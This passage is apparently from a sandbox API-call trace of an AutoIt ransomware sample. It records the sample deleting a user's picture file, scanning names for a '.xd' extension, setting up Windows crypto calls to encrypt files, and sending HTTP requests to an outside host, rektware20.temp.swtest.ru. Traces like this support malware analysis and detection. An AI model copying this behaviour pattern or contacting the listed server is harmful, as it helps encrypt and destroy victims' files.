out: lpMsg=0x130ecb4) returned 0 [0061.820] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.820] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.820] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.820] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.821] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.821] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.821] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.821] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.821] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.822] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.822] CryptReleaseContext (hProv=0x17a9f88, dwFlags=0x0) returned 1 [0061.822] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.822] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.822] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.822] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.822] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.822] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.822] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.823] CloseHandle (hObject=0x3bc) returned 1 [0061.823] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.823] CloseHandle (hObject=0x2ac) returned 1 [0061.831] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.844] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.844] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", lpFilePart=0x0) returned 0x60 [0061.845] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\xirni-oylmcs4ft.jpg")) returned 0x20 [0061.846] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c870 [0061.847] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\xirni-oylmcs4ft.jpg")) returned 1 [0061.854] FindNextFileW (in: hFindFile=0x164c870, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.855] FindClose (in: hFindFile=0x164c870 | out: hFindFile=0x164c870) returned 1 [0061.855] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.855] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.855] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.855] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.855] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.856] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.856] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.857] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.857] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.857] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.857] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.857] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c) returned 1 [0061.858] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.858] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.858] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.862] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.862] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.862] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.862] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.862] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.863] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.863] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.863] CloseHandle (hObject=0x0) returned 0 [0061.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Saved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ved Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ed Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.868] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.868] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.868] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.868] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.868] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.868] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.869] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.869] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.869] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.869] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c) returned 1 [0061.869] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.869] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.869] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.872] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.872] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.872] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.872] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.873] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293b0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.873] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.873] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.873] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.873] CloseHandle (hObject=0x0) returned 0 [0061.873] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.873] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.873] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.873] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.874] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.874] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.874] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.874] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.874] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.874] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.874] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.874] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.874] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.874] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.874] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.874] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.874] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.874] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.874] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.874] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.875] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.875] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.875] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa890) returned 1 [0061.876] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, 